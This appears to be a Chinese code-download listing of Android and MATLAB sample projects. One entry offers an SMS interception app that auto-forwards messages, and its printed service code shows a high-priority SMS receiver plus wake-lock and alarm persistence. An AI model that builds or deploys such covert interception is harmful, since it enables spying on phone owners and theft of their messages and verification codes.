-
android 头像图片裁剪成圆形、心形、五角星等各种形状 例子源码下载
android 头像图片裁剪成圆形、心形、五角星等各种形状 例子源码下载
- 2015-04-26下载
- 积分:1
-
android 获取手机通讯录联系人 例子源码下载
联系人信息没有输出到界面上
- 2015-05-15下载
- 积分:1
-
matlab UWB 系统平台仿真
超宽带系统链路matlab仿真程序自己编写的超宽带系统简单仿真平台,有简单界面.包括可替换的脉冲成型(半余弦脉冲)、IEEE802.15.3a的修正SV信道、最大似然信道估计、 Rake接收机等模块,可以实现monte carlo仿真求误码率。可添加多址接入、编码等功能(维特比编解码、帧同步的程序由本人同学编写)。入口主程序uwbsim.m编解码程序:bin2deci.m;bini2deci.m;deci2bin.m;VITRBI.m信道及信道估计:ch_est.m;channel.m;channelgenerator.m;conv_m. m;sigfold.m;UWB_SV_chann
- 2020-05-26下载
- 积分:1
-
android 百度地图API最新版 gps定位 获取详细地址 实例源码下载
百度地图api实例代码,无须申请appkey即可使用
- 2013-02-06下载
- 积分:1
-
listview 滑动分页示例源码
android 滑动分页
- 2014-04-13下载
- 积分:1
-
android联系人带字母检索源码
android联系人带字母检索源码/** * 联系人列表适配器。 * * @author guolin */public class ContactAdapter extends ArrayAdapter { /** * 需要渲染的item布局文件 */ private int resource; /** * 字母表分组工具 */ private SectionIndexer mIndexer; public ContactAdapter(Context context, int textViewResourceId, List objects) { super(context, textViewResourceId, objects); resource = textViewResourceId; } @Override public View getView(int position, View convertView, ViewGroup parent) { Contact contact = getItem(position); LinearLayout layout = null; if (convertView == null) { layout = (LinearLayout) LayoutInflater.from(getContext()).inflate(resource, null); } else { layout = (LinearLayout) convertView; } TextView name = (TextView) layout.findViewById(R.id.name); LinearLayout sortKeyLayout = (LinearLayout) layout.findViewById(R.id.sort_key_layout); TextView sortKey = (TextView) layout.findViewById(R.id.sort_key); name.setText(contact.getName()); int section = mIndexer.getSectionForPosition(position); if (position == mIndexer.getPositionForSection(section)) { sortKey.setText(contact.getSortKey()); sortKeyLayout.setVisibility(View.VISIBLE); } else { sortKeyLayout.setVisibility(View.GONE); } return layout; } /** * 给当前适配器传入一个分组工具。 * * @param indexer */ public void setIndexer(SectionIndexer indexer) { mIndexer = indexer; }}
- 2014-04-13下载
- 积分:1
-
android 短信拦截 实例完整源码下载
可实现拦截短信,自动转发的功能。 部分代码:import android.app.AlarmManager;import android.app.PendingIntent;import android.app.Service;import android.content.Context;import android.content.Intent;import android.content.IntentFilter;import android.os.IBinder;import android.os.PowerManager;import android.os.PowerManager.WakeLock;public class MyService extends Service{ SMSReceiver rs=null; static MyService service; private static PendingIntent pi = null; public static AlarmManager am = null; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); service=this; pm = (PowerManager) getSystemService(Context.POWER_SERVICE); registerAlarm(); acquireWakeLock(this); registerRecever(); } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); releaseWakeLock(); unregisterAlarm(); } private void registerRecever(){ rs=new SMSReceiver(); IntentFilter filter=new IntentFilter(); filter.addAction("android.provider.Telephony.SMS_RECEIVED"); filter.setPriority(1000); registerReceiver(rs, filter); } @Override public int onStartCommand(Intent intent, int flags, int startId) { // TODO Auto-generated method stub if(rs==null)registerRecever(); return START_STICKY; } public static WakeLock wakeLock = null; private static PowerManager pm = null; public static synchronized void acquireWakeLock(Context c) { if (null == wakeLock) { wakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "smslock"); wakeLock.acquire(); } } public static synchronized void releaseWakeLock() { if (wakeLock == null) return; if (wakeLock.isHeld()) { wakeLock.release(); wakeLock = null; } } /** * 启动重复型定时器 */ public static void registerAlarm() { if(Config.getAlarm())return; Intent intent = new Intent(service, AlarmReceiver.class); pi = PendingIntent.getBroadcast(service, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT); // 设置一个PendingIntent对象,发送广播 am = (AlarmManager) service.getSystemService(Context.ALARM_SERVICE); // 获取AlarmManager对象, Config.setAlarm(true); am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(), 30*60*1000, pi); } /** * 取消定时器 */ public static void unregisterAlarm() { am.cancel(pi); am = null; Config.setAlarm(false); }}
- 2014-05-21下载
- 积分:1
-
android 可展开的分组实例源码下载(expandlistview)
expandlistview,可展开 折叠
- 2015-01-15下载
- 积分:1
-
android 百度地图定位SDK实例源码下载(geosdk实例)
百度地图定位sdk 实例源码
- 2014-05-24下载
- 积分:1
-
android 仿微信录音+播放 例子源码下载(语音对讲)
仿微信语音对讲,压缩包中包含3个语音相关的例子,具体如下:
- 2015-03-26下载
- 积分:1